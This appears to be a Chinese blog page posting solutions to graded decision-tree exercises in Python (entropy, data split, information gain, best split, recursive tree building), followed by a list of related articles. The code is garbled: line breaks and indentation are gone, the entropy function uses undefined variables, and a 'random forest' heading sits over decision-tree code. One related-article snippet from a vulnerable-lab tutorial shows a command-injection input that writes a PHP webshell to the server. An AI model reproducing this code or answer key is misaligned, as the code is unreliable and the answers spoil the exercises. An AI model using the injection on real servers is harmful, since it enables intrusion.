决策树模型python代码实现

计算熵函数(二元熵)

# UNQ_C1
# GRADED FUNCTION: compute_entropydef compute_entropy(y):"""Computes the entropy for Args:y (ndarray): Numpy array indicating whether each example at a node isedible (`1`) or poisonous (`0`)Returns:entropy (float): Entropy at that node"""# You need to return the following variables correctlyentropy = 0### START CODE HERE ###p=len(y[y==1])/len(y)if pos==size or pos==0:entropy=0else:entropy=-p*np.log2(p)-(1-p)*np.log2(1-p)### END CODE HERE ###        return entropy

根据特征分裂结点

# UNQ_C2
# GRADED FUNCTION: split_datasetdef split_dataset(X, node_indices, feature):"""Splits the data at the given node intoleft and right branchesArgs:X (ndarray):             Data matrix of shape(n_samples, n_features)node_indices (ndarray):  List containing the active indices. I.e, the samples being considered at this step.feature (int):           Index of feature to split onReturns:left_indices (ndarray): Indices with feature value == 1right_indices (ndarray): Indices with feature value == 0"""# You need to return the following variables correctlyleft_indices = []right_indices = []### START CODE HERE ###for i in node_indices:if X[i,feature]==1:left_indices.append(i)else:right_indices.append(i)### END CODE HERE ###return left_indices, right_indices

计算信息增益

# UNQ_C3
# GRADED FUNCTION: compute_information_gaindef compute_information_gain(X, y, node_indices, feature):"""Compute the information of splitting the node on a given featureArgs:X (ndarray):            Data matrix of shape(n_samples, n_features)y (array like):         list or ndarray with n_samples containing the target variablenode_indices (ndarray): List containing the active indices. I.e, the samples being considered in this step.Returns:cost (float):        Cost computed"""    # Split datasetleft_indices, right_indices = split_dataset(X, node_indices, feature)# Some useful variablesX_node, y_node = X[node_indices], y[node_indices]X_left, y_left = X[left_indices], y[left_indices]X_right, y_right = X[right_indices], y[right_indices]# You need to return the following variables correctlyinformation_gain = 0### START CODE HERE #### Weights lefts=len(y_left)rights=len(y_right)w_left=lefts/(lefts+rights)w_right=rights/(lefts+rights)#Weighted entropyH_left=compute_entropy(y_left)H_right=compute_entropy(y_right)#Information gain                                                   H_root=compute_entropy(y_node)information_gain=H_root-(w_left*H_left+w_right*H_right)### END CODE HERE ###  return information_gain

选择最佳分裂特征

# UNQ_C4
# GRADED FUNCTION: get_best_splitdef get_best_split(X, y, node_indices):   """Returns the optimal feature and threshold valueto split the node data Args:X (ndarray):            Data matrix of shape(n_samples, n_features)y (array like):         list or ndarray with n_samples containing the target variablenode_indices (ndarray): List containing the active indices. I.e, the samples being considered in this step.Returns:best_feature (int):     The index of the best feature to split"""    # Some useful variablesnum_features = X.shape[1]# You need to return the following variables correctlybest_feature = -1IG=0### START CODE HERE ###for i in range(num_features):ig=compute_information_gain(X,y,node_indices,i)if ig>IG:IG=igbest_feature=i### END CODE HERE ##    return best_feature

随机森林算法


def build_tree_recursive(X, y, node_indices, branch_name, max_depth, current_depth):"""Build a tree using the recursive algorithm that split the dataset into 2 subgroups at each node.This function just prints the tree.Args:X (ndarray):            Data matrix of shape(n_samples, n_features)y (array like):         list or ndarray with n_samples containing the target variablenode_indices (ndarray): List containing the active indices. I.e, the samples being considered in this step.branch_name (string):   Name of the branch. ['Root', 'Left', 'Right']max_depth (int):        Max depth of the resulting tree. current_depth (int):    Current depth. Parameter used during recursive call.""" # Maximum depth reached - stop splittingif current_depth == max_depth:formatting = " "*current_depth + "-"*current_depthprint(formatting, "%s leaf node with indices" % branch_name, node_indices)return# Otherwise, get best split and split the data# Get the best feature and threshold at this nodebest_feature = get_best_split(X, y, node_indices) tree.append((current_depth, branch_name, best_feature, node_indices))formatting = "-"*current_depthprint("%s Depth %d, %s: Split on feature: %d" % (formatting, current_depth, branch_name, best_feature))# Split the dataset at the best featureleft_indices, right_indices = split_dataset(X, node_indices, best_feature)# continue splitting the left and the right child. Increment current depthbuild_tree_recursive(X, y, left_indices, "Left", max_depth, current_depth+1)build_tree_recursive(X, y, right_indices, "Right", max_depth, current_depth+1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/879003.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络:http协议

计算机网络:http协议 一、本文内容与前置知识点1. 本文内容2. 前置知识点 二、HTTP协议工作简介1. 特点2. 传输时间分析3. http报文结构 三、HTTP版本迭代1. HTTP1.0和HTTP1.1主要区别2. HTTP1.1和HTTP2主要区别3. HTTPS与HTTP的主要区别 四、参考文献 一、本文内容…

Kafka【十三】消费者消费消息的偏移量

偏移量offset是消费者消费数据的一个非常重要的属性。默认情况下,消费者如果不指定消费主题数据的偏移量,那么消费者启动消费时,无论当前主题之前存储了多少历史数据,消费者只能从连接成功后当前主题最新的数据偏移位置读取&#…

【贪心算法】区间类算法题(整数替换、俄罗斯套娃、重构字符串等、C++)

文章目录 1. 前言2. 算法题1.整数替换2.俄罗斯套娃信封问题3.可被三整除的最大和4.距离相等的条形码5.重构字符串 1. 前言 贪心算法(Greedy Algorithm)是一种在每一步选择中都采取当前状态下最优决策的算法。贪心算法通常用来解决最优化问题&#xff0c…

Elasticsearch数据写入过程

1. 写入请求 当一个写入请求(如 Index、Update 或 Delete 请求)通过REST API发送到Elasticsearch时,通常包含一个文档的内容,以及该文档的索引和ID。 2. 请求路由 协调节点:首先,请求会到达一个协调节点…

大数据决策分析平台建设方案(可编辑的56页PPT)

引言:在当今信息爆炸的时代,大数据已成为企业决策制定、业务优化与市场洞察的重要驱动力。为了充分挖掘大数据的潜在价值,提升决策效率与精准度,构建一套高效、灵活、可扩展的大数据决策分析平台显得尤为重要。通过大数据分析平台…

部分库函数及其模拟

前言:当我们学习c/c库函数的时候,我们可以用网站 cplusplus.com - The C Resources Network 来进行查阅,学习。 目录 库函数: 1.字符串函数 1.1求字符串长度 strlen 1.2长度不受限制的字符串函数 1.2.1strcpy 1.2.2strca…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

c中 int 和 unsigned int

c语言中&#xff0c;char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同&#xff0c;比如&#xff1a;char/unisigned char表示8位整数&#xff1b; short/unsigned short表示16位整…

CATIA P3 V5-6R2020下载安装教程,附软件包百度网盘分享下载链接地址

CATIA V5软件介绍 CATIA V5 是达索系统公司开发的 CAD/CAE/CAM 一体化软件&#xff0c;在多行业广泛应用。它源于航空航天业&#xff0c;也是汽车工业事实标准。其发展历经多个版本&#xff0c;V5 版本界面友好且功能强大。 特点包括强大功能&#xff0c;如先进建模技术可创建…

Linux Vim的 命令大全

Linux Vim的 命令大全 文章目录 Linux Vim的 命令大全[TOC](文章目录)Vim 的历史Vi 的诞生Vim 的诞生Vim 的开源与发展Vim 的影响力1.Vim 的基本模式2. 正常模式常用命令3. 插入模式4. 命令模式5. 可视模式6. 其他有用的命令7. 自定义设置下载 Vim 的历史 Vim 的历史可以追溯到…

SD三分钟入门!秋叶大佬24年8月最新的Stable Diffusion整合包V4.9.7来了~

1 什么是 Stable Diffusion&#xff1f; Stable Diffusion&#xff08;简称SD&#xff09;是一种生成式人工智能技术&#xff0c;于2022年推出。它主要用于根据文本描述生成精细图像&#xff0c;同时也可应用于其他任务&#xff0c;如图像修补、扩展&#xff0c;以及在文本提…

pycharm如何安装selenium

在pycharm中打开一个项目后,点击Setting(ALTCtrlS快捷键) 然后点击install package完成后点击关闭这个窗口,就可以在代码中使用selenium了 成功后出现如下界面 编写一段正常可以运行操作chorme浏览器的 from selenium import webdriver # 指定ChromeDriver的路径driver we…

SQL 编程基础

SQL&#xff08;结构化查询语言&#xff09;广泛应用于数据库操作&#xff0c;是每个程序员都需要掌握的技能之一。这篇文章将带你从基础入门&#xff0c;了解SQL编程中的常量、变量及流程控制语句。我们将采用简单易懂的语言&#xff0c;结合实际示例&#xff0c;帮助你轻松理…

骨传导耳机推荐排名,精选五款热门好用不踩雷推荐

近两年来&#xff0c;骨传导运动蓝牙耳机在运动领域内日益流行。与传统耳机相比&#xff0c;它的显著优势是能够保持双耳开放&#xff0c;不会堵塞耳道&#xff0c;消除了入耳式耳机可能引起的不适感。此外还能避免运动时耳内出汗可能导致的各种卫生和健康问题。很多人就问了&a…

Python 调用手机摄像头

Python 调用手机摄像头 在手机上安装软件 这里以安卓手机作为演示&#xff0c;ISO也是差不多的 软件下载地址 注意&#xff1a;要想在电脑上查看手机摄像头拍摄的内容的在一个局域网里面(没有 WIFI 可以使用 热点 ) 安装完打开IP摄像头服务器 点击分享查看IP 查看局域网的I…

谷粒商城のNginx

文章目录 前言一、Nginx1、安装Nginx2、相关配置2.1、配置host2.2、配置Nginx2.3、配置网关 前言 本篇重点介绍项目中的Nginx配置。 一、Nginx 1、安装Nginx 首先需要在本地虚拟机执行&#xff1a; mkdir -p /mydata/nginx/html /mydata/nginx/logs /mydata/nginx/conf在项目…

数学建模笔记——TOPSIS[优劣解距离]法

数学建模笔记——TOPSIS[优劣解距离法] TOPSIS(优劣解距离)法1. 基本概念2. 模型原理3. 基本步骤4. 典型例题4.1 矩阵正向化4.2 正向矩阵标准化4.3 计算得分并归一化4.4 python代码实现 TOPSIS(优劣解距离)法 1. 基本概念 C. L.Hwang和 K.Yoon于1981年首次提出 TOPSIS(Techni…

Windows操作系统sid系统唯一标识符查看和修改

1、sid介绍 sid 作为windows系统唯一的标识&#xff0c;对某些集群业务有依赖关系&#xff0c;如果重复可能导致集群部署异常。 如&#xff1a;域控AD 就依赖 sid 功能。 但是某个云主机或虚拟机使用同一个ghost进行操作系统部署&#xff0c;就可能会导致重复的情况&#xf…

为什么现在都流行开放式耳机?平价高品质蓝牙耳机推荐大赏

现在开放式耳机流行&#xff0c;是因为相比入耳式&#xff0c;它具有以下的优势&#xff1a; 一、佩戴舒适 开放式耳机通常设计轻盈&#xff0c;不直接刺激耳膜&#xff0c;长时间使用也不会给耳膜带来压迫感。而且其不入耳的设计不会堵塞耳道&#xff0c;使用较长时间后&…

Notepad++ 修改 About

1. 用这个工具&#xff0c;看标题&#xff0c;修改 1700 里的 Caption, 保存为 xx.exe, 2.修改链接&#xff0c;先准备如上。 2.1 使用插件 Hex Editor&#xff0c;拖入刚保存的 Notepad.exe 到 Notepad.exe, 按 c..S..H 2.2 按 ctrlf 查找 68 00 74 00 74 00 70 00 73 00 3…